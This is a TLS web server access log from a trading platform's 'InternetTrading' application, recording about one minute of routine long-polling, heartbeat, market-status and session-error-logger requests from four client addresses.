[09/Jan/2026:10:36:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926475997 HTTP/1.1" -
[09/Jan/2026:10:36:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:36:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:36:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926478862 HTTP/1.1" -
[09/Jan/2026:10:36:47 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926476046 HTTP/1.1" -
[09/Jan/2026:10:36:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926492709 HTTP/1.1" -
[09/Jan/2026:10:36:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926481045 HTTP/1.1" -
[09/Jan/2026:10:36:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926484015 HTTP/1.1" -
[09/Jan/2026:10:36:53 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926482049 HTTP/1.1" -
[09/Jan/2026:10:36:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926497731 HTTP/1.1" -
[09/Jan/2026:10:36:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:36:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:36:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926486069 HTTP/1.1" -
[09/Jan/2026:10:36:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926489153 HTTP/1.1" -
[09/Jan/2026:10:36:59 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926502756 HTTP/1.1" -
[09/Jan/2026:10:36:59 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926488061 HTTP/1.1" -
[09/Jan/2026:10:37:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:37:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:37:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:37:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:37:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926491093 HTTP/1.1" -
[09/Jan/2026:10:37:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926494318 HTTP/1.1" -
[09/Jan/2026:10:37:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926507835 HTTP/1.1" -
[09/Jan/2026:10:37:05 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926494065 HTTP/1.1" -
[09/Jan/2026:10:37:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926496122 HTTP/1.1" -
[09/Jan/2026:10:37:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:37:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:37:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926499490 HTTP/1.1" -
[09/Jan/2026:10:37:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:37:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:37:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926512868 HTTP/1.1" -
[09/Jan/2026:10:37:11 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926500063 HTTP/1.1" -
[09/Jan/2026:10:37:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926501168 HTTP/1.1" -
[09/Jan/2026:10:37:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926504546 HTTP/1.1" -
[09/Jan/2026:10:37:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926517932 HTTP/1.1" -
[09/Jan/2026:10:37:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:37:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:37:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926506209 HTTP/1.1" -
[09/Jan/2026:10:37:17 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926506046 HTTP/1.1" -
[09/Jan/2026:10:37:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926509640 HTTP/1.1" -
[09/Jan/2026:10:37:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926522995 HTTP/1.1" -
[09/Jan/2026:10:37:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926511241 HTTP/1.1" -
[09/Jan/2026:10:37:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926514790 HTTP/1.1" -
[09/Jan/2026:10:37:23 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926512045 HTTP/1.1" -
[09/Jan/2026:10:37:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926528070 HTTP/1.1" -
[09/Jan/2026:10:37:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:37:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:37:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926516276 HTTP/1.1" -
[09/Jan/2026:10:37:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926519917 HTTP/1.1" -
[09/Jan/2026:10:37:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926533124 HTTP/1.1" -
[09/Jan/2026:10:37:29 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926518060 HTTP/1.1" -
[09/Jan/2026:10:37:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:37:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:37:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:37:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:37:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:37:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:37:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:37:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:37:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926521291 HTTP/1.1" -
[09/Jan/2026:10:37:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926525050 HTTP/1.1" -
[09/Jan/2026:10:37:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926538193 HTTP/1.1" -
[09/Jan/2026:10:37:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926524060 HTTP/1.1" -
[09/Jan/2026:10:37:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926526327 HTTP/1.1" -
[09/Jan/2026:10:37:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:37:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:37:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:37:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:37:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926530190 HTTP/1.1" -
[09/Jan/2026:10:37:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926543218 HTTP/1.1" -
[09/Jan/2026:10:37:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926530048 HTTP/1.1" -
[09/Jan/2026:10:37:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926531373 HTTP/1.1" -
[09/Jan/2026:10:37:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926535257 HTTP/1.1" -
[09/Jan/2026:10:37:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926548280 HTTP/1.1" -
[09/Jan/2026:10:37:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:37:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:37:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926536408 HTTP/1.1" -
[09/Jan/2026:10:37:47 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926536058 HTTP/1.1" -
[09/Jan/2026:10:37:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926540391 HTTP/1.1" -
[09/Jan/2026:10:37:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926553349 HTTP/1.1" -
[09/Jan/2026:10:37:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926541433 HTTP/1.1" -
[09/Jan/2026:10:37:53 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926542047 HTTP/1.1" -
[09/Jan/2026:10:37:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926545608 HTTP/1.1" -
[09/Jan/2026:10:37:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926558407 HTTP/1.1" -
[09/Jan/2026:10:37:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:37:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:37:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926546485 HTTP/1.1" -
[09/Jan/2026:10:37:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926550747 HTTP/1.1" -
[09/Jan/2026:10:37:59 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926548049 HTTP/1.1" -
[09/Jan/2026:10:37:59 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926563463 HTTP/1.1" -
[09/Jan/2026:10:38:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:38:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
